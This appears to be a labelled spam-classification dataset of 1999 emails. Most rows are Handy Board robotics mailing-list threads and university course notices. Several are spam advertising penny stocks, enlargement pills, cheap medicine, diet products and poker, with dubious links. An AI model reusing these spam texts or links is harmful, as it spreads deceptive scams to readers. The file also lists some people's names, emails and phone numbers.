���������� ������ ������������,1,1 Reva Obrien ,"handyboard@media.mit.edu, violet@media.mit.edu, catherine@media.mit.edu, johnnie@media.mit.edu, cheri@media.mit.edu","Thu, 01 Apr 1999 03:25:44 -0500",refresh my memory and mental energy,"a ancestor in ca ! augusta it's acquisitive try defeat ",1,0 ethan getz ,handyboard@media.mit.edu,"Wed, 31 Mar 1999 16:02:18 -0700",PC vs Unix,"We ordered a HB the other day but were not sure if we could use unix to operate it as opposed to a PC. My question is: do you have to have PC to operate a HB or can you use unix. Ethan Getz ethang3@hotmail.com ethang@unm.edu ",0,0 Tom Brusehaver ,ethang@unm.edu,"Thu, 01 Apr 1999 08:19:52 -0600",Re: PC vs Unix," >We ordered a HB the other day but were not sure if we could use unix to >operate it as opposed to a PC. My question is: do you have to have PC to >operate a HB or can you use unix. I use both. I have a couple older Suns on my workbench at home, and I love the big screens. I pretty much write all my code on the suns. When I go to robot meetings, and other places, I have a 286 laptop that I use. That is great because it is portable, and I can make those last minute tweaks. Tom 'king of antique hardware' ",0,0 James Ronald ,"Handyboard , Will Bain ","Wed, 31 Mar 1999 19:53:18 -0500",Re: Help needed!,"Will & Keith, The following information is in a file called readme.ic that should be in your IC directory. By Default IC will use COM1. If you need IC to use a different serial port, you can run it with argument like so: ic -port com2 or you can run ic with the -config option to reconfigure IC. Good luck Jim >lectro@acadiacom.net wrote: >> >> I had a similar problem and had to try a different serial port. I have a >> serial mouse and the board will only work properly in com 1. If I try com >> 2, I get similar problems to yours >> >> keith > >DOING! Yeah, now that you mention it, I had the same problem when I got my HB. Took me about a week before I got around to trying COM1. That fixed it, so I left it that way and forgot about it long ago. At the time, no one on the list had any helpful suggestions for me, either. > >Anyone else out there had problems using COM2 with a serial mouse on COM1? > >-- Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, >~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Wendy Parson, Every improvement in communication >Will Bain, makes the bore more terrible. >& Tatoosh --Frank Moore Colby > ",0,0 """Curt Mills, WE7U"" ",ethan getz ,"Thu, 01 Apr 1999 08:44:06 -0800",Re: PC vs Unix,"On Wed, 31 Mar 1999, ethan getz wrote: > We ordered a HB the other day but were not sure if we could use unix to > operate it as opposed to a PC. My question is: do you have to have PC to > operate a HB or can you use unix. I use a PC running Unix (ok, a Unix-variant). PC and Unix are NOT mutually exclusive. :-) I agree with the other response: Unix works well. The easiest to learn setup is probably Interactive C on a PC or a Mac. Once you're comfortable with it you might want to try Interactive C on Unix. Note that there are freeware versions of Interactive C out there, but I understand they're not as nice as the commercial version. If you need more power/speed, then you can switch to Dunfield, ICC, or GCC C-compilers, Assembly code, or a mixture of C and Assembly. I think most people who are into robotics are quite happy with Interactive C, so you may never need to switch. There are also Sbasic and TinyForth for the HC11, both of which compile down to HC11 Assembly code I think. Libraries: ---------- ICC has Handyboard and Miniboard libraries GCC has Miniboard libraries Interactive C has Handyboard libs (others?) For anything else you'll need to know the hardware and memory map quite well to get started writing code. The libraries hide a lot of the intricacies from you, which is nice when you first get started. If you're already comfortable with Unix, start with Interactive C or GCC on that platform. I just got gcc-2.8.1 working with the HC11 this week. I ran out of processing power with Interactive C and so am switching to GCC. I'm not doing robots though (yet), but lots of serial and string processing. GCC on Solaris and Linux are compiling nicely for the HC11 and I'll be starting on GCC Handyboard libs next, thanks to the generosity of the authors who came before who are letting me base it off their code. There's a DOS GCC-2.8.1 compiler for the HC11 also. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Jose Luis ,Handy Board Mailing List ,"Thu, 01 Apr 1999 14:48:25 -0300",Simple questions,"Hi, First of all, sorry for my english. I have received my HB yesterday from Patrick Hui, and I have some questions, I have a 12 Volt, 1 Amp, DC adapter, can i use it?, the manual says that can be problems with 1 to 2 Amps adapters, which kind of problems?. My second question is more trivial, can I put the HB and the Charger/Serial boards together in the same box?. Thank you in advance. José Luis ",0,0 Novak Capital ,handyboard@media.mit.edu,"Thu, 01 Apr 1999 08:25:18 -0500",Deep Well Oil & Gas Stock,"Novak Capital based upon information believed to be reliable herein prepared all material. The information contained herein is not guaranteed by Novak Capital to be accurate, and should not be considered to be all-inclusive. The companies that are discussed in this opinion have not approved the statements made in this opinion. This opinion contains forward-looking statements that involve risks and uncertainties. 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All transactions are APPROVED BY VISA! ",1,1 Shoshanna Pearlman ,"""Mark B. Gerstein"" ","Thu, 01 Apr 1999 23:10:00 -0500","Re: Don't Meet 4/2, Meet 4/9, Meet 4/26, 1st talk 4/12"," This looks perfect for me. When you say, ""we will be meeting for a normal class next on Friday April 9,"" I assume you don't mean that we're skipping Mon. and Wed. classes until then? > Hello All, > > After studying the schedule, processing the comments people had in > class on Wednesday, and finally (!) looking at the completed web > enrollment list, I have decided on the following plan: > > 1 -- Meet once in READING PERIOD, probably on Monday 26 April. > > 2 -- CANCEL class on Friday. (Upon reflection, if we are going to substitute > one reading period day for a Friday, this is the best Friday to substitute > as it is a holiday and not that convenient for a number of people in class.) > > 3 -- SHIFT the student talks, so that they commence on Monday 12 April > (with ALIGNMENT) instead of Friday 9 April. > > We will be meeting for a normal class next on Friday 9 April. > > Please acknowledge receiving this message. > > cheers, > > Mark Gerstein > > -- > Mark.Gerstein@yale.edu * 203 432-6105 * http://bioinfo.mbb.yale.edu > -Shoshannah ",0,1 """Curt Mills, WE7U"" ",Handyboard List ,"Fri, 02 Apr 1999 09:13:38 -0800",Re: GCC 2.8.1 for HC11," The HC11 back end for gcc-2.8.1 is working on Red Hat Linux 5.2 (and probably most other Unix hosts), and last night I made the cross-assembler and cross-linker work with it properly. It compiled/assembled the GCC Miniboard library last night without a hitch, creating the "".a"" file. I've generated a patch file to gcc-2.8.1 that puts the proper code into the source tree, and generated a README that explains how to set it all up. I haven't had the time to put in the proper copyright notices and such (probably GPL) for my changes, so I haven't posted it yet. One thing that I haven't figured out how to do the ""make install"" part of the GCC build and have it install into it's own directory tree. Following the Coactive Aesthetics docs on how to do it didn't work for me with the newer compiler. It works great to install it in the default location though, and then you can select which compiler to run using command line arguments to GCC or environment variables (the native GCC is the default). Is there anyone interested in testing out the Unix-flavor GCC/HC11 compiler and letting me know how it works for the Miniboard? I want confirmation that everything works before I start on the Handyboard libraries. My Miniboard is still without a CPU at this point. I believe that all the pieces (libraries and crt0.S file) to get running on the Miniboard or the Rug Warrior are readily available. It's the Handyboard libraries that are lacking yet. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Will Bain ,Handyboard Mailing List ,"Fri, 02 Apr 1999 11:22:38 -0700",Re: Simple questions,"Jose Luis wrote: > First of all, sorry for my english. I have received my HB yesterday > from Patrick Hui, and I have some questions, I have a 12 Volt, 1 Amp, DC > adapter, can i use it?, the manual says that can be problems with 1 to 2 > Amps adapters, which kind of problems?. My second question is more trivial, > can I put the HB and the Charger/Serial boards together in the same box?. The problem with a 12V, 1A *unregulated* power supply is that when you hook it up to a device that draws significantly less than the rated current, the power supply will probably deliver significantly more than 12V. It could be that at half an amp, the power supply delivers more like 14V or 15V. This higher voltage could charge your batteries too quickly and cook them. Putting the two boards together in the same enclosure ought to work just fine. By the way, your English is fine! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, When people are free to do as they please, Will Bain, they usually imitate each other. & Tatoosh --Eric Hoffer ",0,0 peschansc ,handyboard@media.mit.edu,,"You have a big heart but a small penis,",Y0ur d1ck looks like from a doll world? Change its sizes with Penis Enlarge Patch. http://www.haswer.net/pt/?51&xVUgrV,1,1 Keith Hearn ,"""Curt Mills, WE7U"" ","Fri, 02 Apr 1999 10:54:57 -0800",Re: GCC 2.8.1 for HC11 ,"Curt, I can't help test with a miniboard, since I just have a handyboard (""just"" have a handyboard?). But I'd be willing to give any help I can with the handyboard libs. I'm also a willing guinea pig for trying out your gcc-2.8.1 patch and README. You mention that you're having problems getting gcc to build so that it installs with a different name or in a different location. Did you try using the --prefix= option when you ran configure? That's the usual way to get gcc to build so it installs in a particular place. I think there is also a configure option to set a suffix that will go on the binaries so you can have multiple versions called, e.g., gcc-2,7,2, gcc-2.8.1, etc. Hmmm, I just took a quick look through the INSTALL file from gcc-2.8.1 and didn't find mention of how to get things to be named differently, but it does mention the --prefix option. That ought to be sufficient. If you'll let me have a copy of your patches, I'll try building them and see what I can come up with. As for copyright, I'm not familiar with adding to GNU software, but I've just done some reading on perl modules. The recommendation for what to say in perl modules is this: Copyright (c) 1997 Your Name. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. I suspect that essentially the same thing, only changing ""perl"" to gcc would be about the best way to go, unless you're hoping to make a profit on it. In that case you need to see a lawyer familiar with such things. Oh yeah, change ""1997"" to ""1999"", too. :) Keith Hearn khearn@legato.com (408) 263-2701 (home) (650) 842-9378 (work) In message , ""Curt M ills, WE7U"" writes: > > The HC11 back end for gcc-2.8.1 is working on Red Hat Linux 5.2 (and > probably most other Unix hosts), and last night I made the cross-assembler > and cross-linker work with it properly. It compiled/assembled the GCC > Miniboard library last night without a hitch, creating the "".a"" file. > > I've generated a patch file to gcc-2.8.1 that puts the proper code into > the source tree, and generated a README that explains how to set it all > up. I haven't had the time to put in the proper copyright notices and > such (probably GPL) for my changes, so I haven't posted it yet. > > One thing that I haven't figured out how to do the ""make install"" part of > the GCC build and have it install into it's own directory tree. Following > the Coactive Aesthetics docs on how to do it didn't work for me with the > newer compiler. It works great to install it in the default location > though, and then you can select which compiler to run using command line > arguments to GCC or environment variables (the native GCC is the default). > > Is there anyone interested in testing out the Unix-flavor GCC/HC11 > compiler and letting me know how it works for the Miniboard? I want > confirmation that everything works before I start on the Handyboard > libraries. My Miniboard is still without a CPU at this point. > > I believe that all the pieces (libraries and crt0.S file) to get running > on the Miniboard or the Rug Warrior are readily available. It's the > Handyboard libraries that are lacking yet. > > Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com > Senior Methods Engineer/SysAdmin > ""Lotto: A tax on people who are bad at math."" -- unknown > ""Windows: Microsoft's tax on computer illiterates."" -- WE7U >",0,0 Robert Pitts ,info@gso.bu.edu,"Fri, 02 Apr 1999 18:26:52 -0500","GSO - summary of Thu, Apr 1, 99 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next general meeting will be on Thursday, April 15th, 5:30-6:45pm. --Rob Summary ======= 1. Committee Reports Financial, Academic and Research Committee ========================================== (Formerly the ""Funding Committee"". Their new e-mail is far@gso.bu.edu.) Ann Walker reported for this committee. - They are working on a set of guidelines for advising at BU. - They do not yet know whether a talk on ""Intellectual Property"" will be possible this semester, but are still pursuing such a talk with a potential speaker. Healthcare Committee ==================== Rob Pitts reported for this committee. - The committee's talk on ""Student Healthcare"" is on schedule. Issues are: - It will be Tuesday, April 6th, 12:30-1:30pm in MCS 135 (at 111 Cummington St.) - This talk will have a Question & Answer format, moderated by the Healthcare Committee. Again, speakers will be one representative from Chickering and one from BU's Student Health Services. - They've sent some initial questions to the 2 speakers for them to look over. - The Student Union (the undergraduate student gov't) is co-sponsoring the talk. The Union is helping with advertising (they have a newsletter and areas where they post notices for undergrads). They are also giving us $50 to buy snacks. The Union wasn't able to provide someone to attend the talk (to make sure undergraduate issues are addressed). - The committee sent ads for the talk to the BU newspapers (the Daily Free Press and Bridge) as soon as they had confirmation from the speakers. They don't yet know whether these ads will appear in the respective calendars. Additional advertising is being done via the usual flyer, mailing list and web page methods. - The NAGPS's Healthcare Committee is trying to finalize revisions of their national grad student health coverage survey. They plan to have NAGPS Board Members fill out the survey (for their schools) as a test run. After that, they'll ask grad orgs at various schools to fill out the survey via the web or e-mail. They will cover those that do not respond with paper surveys. Housing Committee ================= Catherine Capuzzi reported for this committee by e-mail. They have no new issues to discuss. ---- Our liaison is still researching whether the accounts GRS wants to set up for new students over the summer will give those students access to Off-Campus Housing's listings. Thus, the Housing Committee will defer pursuing the ""access for new students"" issue until an answer is obtained. Liaison Committee ================= Gary Garber reported for this committee by e-mail. - The Fall Reception that GRS is planning will just be for new students. Apparently, the larger event that GRS had hoped to have (with everyone in GRS invited) was not doable for this year. GRS still hopes that the GSO will be well-represented at the event. - GRS likes the idea of a BBQ, but thinks it poses too many weather- related issues. - Our contact in GRS is not yet sure if the e-mail addresses to be established for new students over the summer will be temporary or permanent and whether they will provide access to BU's housing listings. - GRS is willing to include a flyer about the GSO (that we provide) in summer mailings to new students. We should plan for the mailings to be done (approximately) at the end of May. - We may be able to have a flyer on the NAGPS Insurance Plan available to grad--final word on that is still pending. Social Committee ================ Cassandra Celatka submitted a written report for this committee. - March's Bowling event had approx. 25-30 people. - For April's event, they are currently planning on billiards at Boston Billiards. No specific day and time has been chosen yet. They are looking into whether Wednesday's are ""Ladies Nights"", which would make it cheaper for some participants. ---- They also mentioned that the Daily Free Press (DFP) event calendar is printed on Monday (rather than Thursday as they had originally thought). There seems to be a different calendar that is published in the DFP on Thursdays. Steering Committee ================== Dave Morgan and Jen Wenner were present from this committee. Their report consisted of a presentation/discussion of the articles in the ""Constitution, Bylaws, etc."" section below. 2. Constitution, Bylaws, etc. We finished most of the ""Committees of the GSO"" article, adding some language about ""what committees are"" exactly, and revising the description of how their members are chosen and what duties committees have to the group as a whole. We made only minor changes to the ""Officers of the GSO"" article, describing in more detail why the 2 main officers ""stay in touch with committees."" Remember to send your comments on articles (that have already been sent out by e-mail) to steering@gso.bu.edu.",0,0 archer@eskimo.com,Keith Hearn ,"Fri, 02 Apr 1999 22:58:16 -0800",Patch released for HC11 and GCC 2.8.1 ," To set up a 68HC11 compiler on Unix-variants using gcc-2.8.1, please go to ftp://ftp.eskimo.com/u/a/archer and snag these files: gcc281-hc11-readme hc11-patch-latest.tar.gz The readme is also contained inside the .tar.gz file, so you only really need the 2nd file. Let me know how it works, if it works, and if it doesn't work, why. Please also let me know if the readme file could use clarification. I put my changes (few as they were) under GPL. Thanks, Curt, WE7U. BowHunt@iname.com Arlington, WA, USA http://www.eskimo.com/~archer Lotto: A tax on people who are bad at math. - unknown Windows: Microsoft's tax on computer illiterates. - WE7U. ",0,1 MSMKatz ,handyboard@media.mit.edu,"Sat, 03 Apr 1999 19:10:23 +0200",Help Needed: Problem Solved!!,"Hi everybody, It took me nearly two weeks, but I've solved my ""board not responding problem""! I had already checked all connections between components, everything ok. What I hadn't done yet, is to check with my multimeter for possible shorts on the board. And: bingo! Address line A14 (connects 6811, memory chip and 7404) had a short to ground. All visible traces looked ok, so the short is either beneath a socket or connector or in the board itself. I've cut the A14 trace on a couple of places to locate the short: it's between the 65256 memory chip (pin 1) and the through hole to the 7404. I've isolated the short and soldered two wires to connect the components again. Handy is working! No downloading problems anymore, IC3.2 runs smoothly on my pentium computer. Hopefully this feedback can be of help to other people running into similar problems. Everybody who has sent suggestions to solve my problem: I've very much appreciated your help, thanks again!! No doubt I'll get back to you for help when I run into new challenges. Best regards, Marc Katz ",0,0 Gary Livick ,"""handyboard@media.mit.edu"" ","Sat, 03 Apr 1999 09:51:12 -0800",Re: ICC11 setup help,"Does anyone have experience with configuring Version 5.0 of the ICC11 compiler from ImageCraft? I need a little help setting up the compiler, and in figuring out how the whole thing works. Are there any web sites that deal with this compiler and the Handy Board? Thanks, Gary Livick ",0,0 Jason Jay ,Kwin Hultman Kramer ,"Sat, 03 Apr 1999 14:22:14 -0500",Musical jungle gym,"I'm very sorry I couldn't make it to class this week; Harvard is on spring break and I'm on the west coast. I hope the groups formed in my absence don't exclude the musical jungle gym because I think it's a viable and very interesting idea. A simple metal climbng structure should be relatively inexpensive and easy to find (any leads or connections would be appreciated). Saul has begun to show me some of the pieso-electrics needed for the stress sensors; and the java interface to the crickets that i've been playing with seems like a decent way to write the music software. I've gotten three people from the class to volunteer to help with some aspects; I just don't know whether decisions were made on Tuesday that I should know about. Is a group around this project still possible? If I don't hear from anyone, I'll see you all on the 6th. Peace, Jason On Tue, 30 Mar 1999, Kwin Hultman Kramer wrote: > > ** Class time and place change: 6:30 -- 8:30 in the Roth Room ** > > Hi, > > First of all, let me apologize for sending this message out so late; it's > been kind of a busy week! > > As promised, I talked with Mitchel, Mike and Tod about the concerns and > suggestions that students voiced two weeks ago. We came up with some ways, > I think, to clarify the nature of the projects for the course, and agreed > that it is important and useful to do some reading/discussion as we work to > develop a deeper understanding of play, toys, and the potential > applications of technology thereto. > > With all that in mind, this week's class will take place in the Roth Room > (second floor of the Lab), from 6:30 to 8:30, and will feature dinner and > several special guests. > > Mary Ann Norris, once upon a time of the Lab, and now of Mattel, will talk > to us about the year she has just spent developing the Mattel/Intel toys > and brand. Mary Ann has volunteered to answer all the hard (and not so > hard) questions we have about how the toy industry works. > > The team that built the Orbs for Tokyo Toy Fair will also join us, for an > in-depth look at a short-deadline toy-building project. The goal here is to > have a discussion about what the Orb folks got right, what they could have > done better (or wish they had had more time to do), and how this project > relates to the projects we will all soon be working on. > > Finally, we will attempt to form project teams (for real, this time). Tod, > Mike and Mitchel would like to see three-person (roughly) groups that > combine people with complementary skills and backgrounds. These groups > should come to focus pretty quickly on concrete, manageable project ideas, > as there are only about seven weeks left in the semester. > > In order to help the process of idea-concretization (that's a technical > term) along, and to narrow down the number of groups so that there are > roughly 1/3 as many as there are students in the class, we went through the > list of proposed projects and picked out seven around which teams will be > formed. They are -- in short-hand, no particular order, and with a name by > them of the person who in my recollection gave the most specific summary of > each: > > -- kites (Saul) > -- tradeable bits (Rick) > -- beads (Barbara) > -- accelerometer-based toys (Phil) > -- color and light kits (Kelly) > -- refrigerator magnets (Bakhtiar) > -- musical building blocks (Tammy) > > The plan is to figure out who wants to do what, break up into groups, and > swear oaths of allegiance and eternal fealty. > > Kwin > > ",0,0 Jim Fong ,"Gary Livick , handyboard@media.mit.edu","Sat, 03 Apr 1999 15:05:49 -0500",Re: ICC11 setup help,"Imagecraft has a HB library (written by Chuck McManis) that can be downloaded from their web site. This library makes it very easy to compile programs for the HB. download it and copy all the *.h files to the ICC INCLUDE directory copy libhb.a to the ICC LIB directory In ICC under Options>Compiler>Linker I used the following settings Text section 0xC000 Data section 0x8000 Stack 0xdFFF Heap 0x0 make sure library path is set to the location of your ICC lib directory (mine is d:\\aps\\icc5\\lib) Under additional libraries, type in libhb this is what works for me. You can change the address locations depending on how large/small your program is, since this determines where your code and variables are located. Chuck has included a number of demo program that you can now load and compile. They all worked fine. I use the built in downloader in ICC to download s19 programs to the hc11. This work well compared to other downloaders that I have used. I have a fast PC (pII 450) and other dl's seem to give inconsistent serial results especially under Windows. Under Option>Terminal I have it set to Com2 and 9600baud. Flow control is None Hope this helps. regards, Jim At 09:51 AM 4/3/99 -0800, you wrote: >Does anyone have experience with configuring Version 5.0 of the ICC11 >compiler from ImageCraft? I need a little help setting up the compiler, >and in figuring out how the whole thing works. Are there any web sites >that deal with this compiler and the Handy Board? > >Thanks, > >Gary Livick > > > ",0,0 MAR ERICSON ,Handy Board mailing list ,"Sat, 03 Apr 1999 16:29:31 -0500",HB Encoders capabilities?,"Can the HB measure encoder pulses faster than 1 MHz? Assume we have an encoder that does 500 pulses per revolution. What happens when we exceed 2 revolutions per second? What happens if the encoder has two channels (quadrature) and we exceed 1 revolution per second? ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 MAR ERICSON ,Handy Board mailing list ,"Sat, 03 Apr 1999 16:35:49 -0500",HB Encoders capabilities? (correction!),"Can the HB measure encoder pulses faster than 1 kHz (not 1 Mhz like in the previous message: this is the speed of the system interrupt)? Assume we have an encoder that does 500 pulses per revolution. What happens when we exceed 2 revolutions per second? What happens if the encoder has two channels (quadrature) and we exceed 1 revolution per second? ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Jana Kidd ,handyboard@media.mit.edu,"Sat, 03 Apr 1999 11:21:46 -0700",Boosts Energy," Summer is coming, did you look in the mirror lately? If you`re still overweight read on..... For years, the weight loss industry has led us to believe that in order to look great and stay in shape, you could never eat your favorite foods. Now, of course we're not saying that you can eat ice cream and hamburgers all day, but you can still occasionally splurge and maintain a healthy lifestyle, thanks to our new little secret... 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Samonte ",0,0 Lee ,ivy@media.mit.edu,"Sat, 03 Apr 1999 14:20:23 -0500","Save your budget, powerful medicine for a low price.","Save your budget, powerful medicine for a low price. Good day dear Customer, I am ready to kill myself and eat my dog, if medicine prices here (http://cqosog.moodrule.info/?23533664) are bad. Look, the site and call me 1-800 if its wrong..   My dog and I are still alive :)",1,1 Gretchen Pagan ,handyboard@media.mit.edu,"Sat, 03 Apr 1999 02:38:06 -0500","You are pre approved, ticket# 87206."," Unlimited alternative of out1andi$h friging http://xharoldta.com >> mjnjoj outfit debuglog we erbesserung >> of hixe nxxnzyn flpb so llelverkehr ",1,1 Mark.Gerstein@yale.edu,course@aragorn.csb.yale.edu,"Sat, 03 Apr 1999 22:05:27 -0500",RESEND class list,"Hi All, I am resending the class list. marK . _ .. _ .. .. _ .. _ .. .. _ .. _ .. .. _ .. _ .. .. _ .. _ .. .. _ .. first last cred fr2 email fruit URL Raghav Gorur Y A raghav.gorur@yale.edu mango ??NA?? Vadim Alexandrov Y C vadim.alexandrov@yale.edu blueberry N/A AYMAN EL-GUINDY Y B ayman.el-guindy@yale.edu ??NA?? ??NA?? Shoshannah Pearlman Y A shoshanna.pearlman@yale.edu banana none Paul Bertone Y C paul.bertone@yale.edu ??NA?? ??NA?? Daqi Tu Y A daqi.tu@yale.edu orange ??NA?? Amy Seila Y S amy.seila@yale.edu strawberries none Amar Drawid Y A amar.drawid@yale.edu apple http://zoo.cs.yale.edu/~amd33/ Parag Vora Y C parag.vora@yale.edu mango http://pantheon.yale.edu/~parag Bill Russ N B russ@paradigm.csb.yale.edu Pears _ Dita Gratzinger N A dita.gratzinger@yale.edu apricot ??NA?? Koji Sonoda N B koji@pantheon.yale.edu banana _ Rajdeep Das N B rajdeep.das@yale.edu orange http://bioinfo.mbb.yale.edu/~das Michael Kosowsky N C michael.kosowsky@yale.edu apple ??NA?? suganthi balasubramanian N B suganthi@csb.yale.edu grapes ??NA?? Michael Reifler N S michael.reifler@yale.edu Kiwi ??NA?? Soumitra Basu N C basu@csb.yale.edu cherry ??NA?? Jun Li N C jli@bi-pharm.com ??NA?? _ Diane Bilodeau N C diane.bilodeau@yale.edu not yet but d'like to tamara shaw N B shawtz@biomed.med.yale.edu banana ??NA?? Jennifer Chao N S chaojr@biomed.med.yale.edu Orange or grapefruit ??NA?? ",0,1 Mark.Gerstein@yale.edu,course@aragorn.csb.yale.edu,"Sat, 03 Apr 1999 23:48:49 -0500",readings from Kate in 336," The next class will meet on Friday 4/9. We are not meeting next Monday or Wednesday. A big packet with readings will be available from Monday onwards from Kate Tatham in Bass 336. ",0,0 Mark.Gerstein@yale.edu,course@aragorn.csb.yale.edu,"Sun, 04 Apr 1999 00:20:17 -0500",schedule of talks ,"Hi All, Based on various people's requests, I have slightly jiggled the talk schedule again. Hopefully, everyone can be accommodated by this. Please get to me if otherwise. marK . _ .. _ .. .. _ .. _ .. .. _ .. _ .. .. _ .. _ .. .. _ .. _ .. .. _ .. first last talk day date Paul Bertone Alignment M 12-Apr Daqi Tu Alignment M 12-Apr Vadim Alexandrov Statistics F 16-Apr AYMAN EL-GUINDY Statistics F 16-Apr Amy Seila Databases M 26-Apr Amar Drawid Databases M 26-Apr Shoshannah Pearlman Genomics-10 M 26-Apr Raghav Gorur Geometry M 26-Apr Parag Vora Geometry M 26-Apr ",0,0 """roger@gamer2005.com"" ","""handyboard@media.mit.edu"" ","Sat, 03 Apr 1999 21:21:52 -0400",Winning Holdem Strategies,"Dear Friend,   You don't know me, but I am a highly successful online poker player, and I want to share one of my most powerful and profitable winning strategies...with you.   The reason I'm giving away this valuable information is to introduce you to the new site BigChipPoker.com  where you have a better chance of making great money than anywhere else.   It will take you only a few days to learn how to win serious amounts of cash playing online Texas Hold 'Em...almost every time you play!   Right now, I want to give you my brand new Special Report: How I Turned $50 into $20,000... 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BCE Limited112 Bonadie StreetKingstown, St Vincent & The Grenadines",1,1 Libby Gingrich ,handyboard@media.mit.edu,"Sat, 03 Apr 1999 22:18:55 -0500",Whats Hot Today?,"but bedspring not rudiment the dilapidate a bench may arrogant ",1,0 Scott Sherman ,webmaster@acroname.com,"Sun, 04 Apr 1999 10:47:15 -0500",Polaroid 6500,"I have a question a bout a part on the polaroid 6500 sonar device. I burned out a particular part on it -- Q1, the C3279. Mouser has a part number 620-2SC3279 which is a Japanese (JIS) transistor TO-92 NPN Poower Amp which sounds just like the part that I burned out but was wondering if anyone could clarify that for me? Your help would be greatly appreciated. Thanks, Scott ",0,0 SCOTT SHERMAN ,handyboard@media.mit.edu,"Sun, 04 Apr 1999 10:59:35 -0500",Using both Sharp GP2D02 and Polaroid 6500,"Has anyone set up a handyboard with an expansion board which uses both the Sharp GP2D02 infrared sensors and the Polaroid 6500 sonar device without any conflict? A previous mailing stated a person having a timing conflict between the two different sensors. If anyone has set it up without having such a conflict I would like to know how they did it. Scott ",0,0 Emiel Agema ,"handyboard@media.mit.edu, hccrobotica@ididntdoit.et.tudelft.nl","Sun, 04 Apr 1999 21:56:13 +0200",Obstacles avoiding,"Hello, I would like to know if there is anyone who has a good idea to avoid obstacles in a intelligent way. I've build a Rugwarrior robot. My robot has two IR proximity detectors (in front) and four bump switches (one on each side). If you simple build in a reflex which will act every time the same, e.g. bump front will cause the robot to move backward and go left, it will be not enough. At one moment the robot needs to know was happend some time before. You need some history of all the sensors, to avoid getting in a loop when the robot is in a corner of a room/field. Any ideas I like to know to solve this problem. Greetings Emiel ",0,0 """Mark B. Gerstein"" ",course@aragorn.csb.yale.edu,"Sun, 04 Apr 1999 17:14:39 -0400",Current schedule is now on-line.,"Current schedule is now on-line. -- Mark.Gerstein@yale.edu * 203 432-6105 * http://bioinfo.mbb.yale.edu ",0,1 """Mark B. Gerstein"" ",course@aragorn.csb.yale.edu,"Sun, 04 Apr 1999 17:21:57 -0400",http://bioinfo2.csb.yale.edu/cgi-bin/messages?list=mbb447b4,"All course mailing list correspondence now on-line in an archive. See course web page or http://bioinfo2.csb.yale.edu/cgi-bin/messages?list=mbb447b4. -- Mark.Gerstein@yale.edu * 203 432-6105 * http://bioinfo.mbb.yale.edu ",0,1 """Mark B. Gerstein"" ","""all@bioinfo"" ","Sun, 04 Apr 1999 17:23:12 -0400",Classical Molecular Dynamics: Three-dimensional billiards. [url],"cool movies! http://udel.edu/~rakov/md_expl6.htm ",0,1 Skylar Hanner ,handyboard@media.mit.edu,"Sun, 04 Apr 1999 15:15:43 -0500",This needs to be tested,"try neuromuscular a rutherford , ply and hungarian see wack ",1,0 Matt Grob ,handyboard@media.mit.edu,"Sun, 04 Apr 1999 17:32:24 -0700",Mounting the handyboard," I am using the handyboard from Gleason Research. It works very well. Only problem is there is no obvious way to mount it rigidly into a robot. No mounting holes or brackets. What have others done? -Matt Grob ",0,0 Anthony Loeppert ,Matt Grob ,"Sun, 04 Apr 1999 21:00:45 -0500",Re: Mounting the handyboard,"I've used velcro. You can buy long rolls of it at Walmart I think. ---------- > problem is there is no obvious way to mount it rigidly into a robot. No > mounting holes or brackets. > > What have others done? ",0,0 Peter Eacmen ,Matt Grob ,"Sun, 04 Apr 1999 21:56:37 -0400",Re: Mounting the handyboard,"You usually take a glue gun and glue some kind of mounting device (in my case legos). to the red plastic part. -peter Matt Grob wrote: > I am using the handyboard from Gleason Research. It works very well. Only > problem is there is no obvious way to mount it rigidly into a robot. No > mounting holes or brackets. > > What have others done? > > -Matt Grob ",0,0 Junby Samonte <09414797@mail4.dlsu.edu.ph>,Handyboard ,"Mon, 05 Apr 1999 11:31:24 +0800",Re: Data Sheets," > Hi Guys, has anyone complied the data sheets to the individual HB parts. > Please let me know if you have. I having trouble finding the data sheets for > the panasonic made capacitors and piezo buzzer and the hitachi lcd and 32k > sram. Oh and if anyone knows the parts list for the polaroid 6500 sonar > ranger again please send me a message. Thanks. > > > F. Samonte > What I meant to say was compiled. sorry. ",0,0 rmtmd ,"Matt Grob , handyboard@media.mit.edu","Sun, 04 Apr 1999 21:03:32 -0700",Re: Mounting the handyboard,"Matt Grob Matt Grob > >I am using the handyboard from Gleason Research. It works very well. Only >problem is there is no obvious way to mount it rigidly into a robot. No >mounting holes or brackets. > >What have others done? > > >-Matt Grob > > > True, but you can make a sort of rigid cradle for it out of angle beams with tiny pulleys with ""tires"" around them at each corner: O O \\ / \\_____________________/ side view |-------------------------| = | | = <--small pulleys with ""tires"" | | | | | | | | | | = = |-------------------------| top view Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX",0,0 David Kott ,"""Curt Mills, WE7U"" ","Sun, 04 Apr 1999 10:41:58 -0400",[OT] Re: GCC 2.8.1 for HC11,"On Fri, 2 Apr 1999, Curt Mills, WE7U wrote: > Is there anyone interested in testing out the Unix-flavor GCC/HC11 > compiler and letting me know how it works for the Miniboard? I want > confirmation that everything works before I start on the Handyboard > libraries. My Miniboard is still without a CPU at 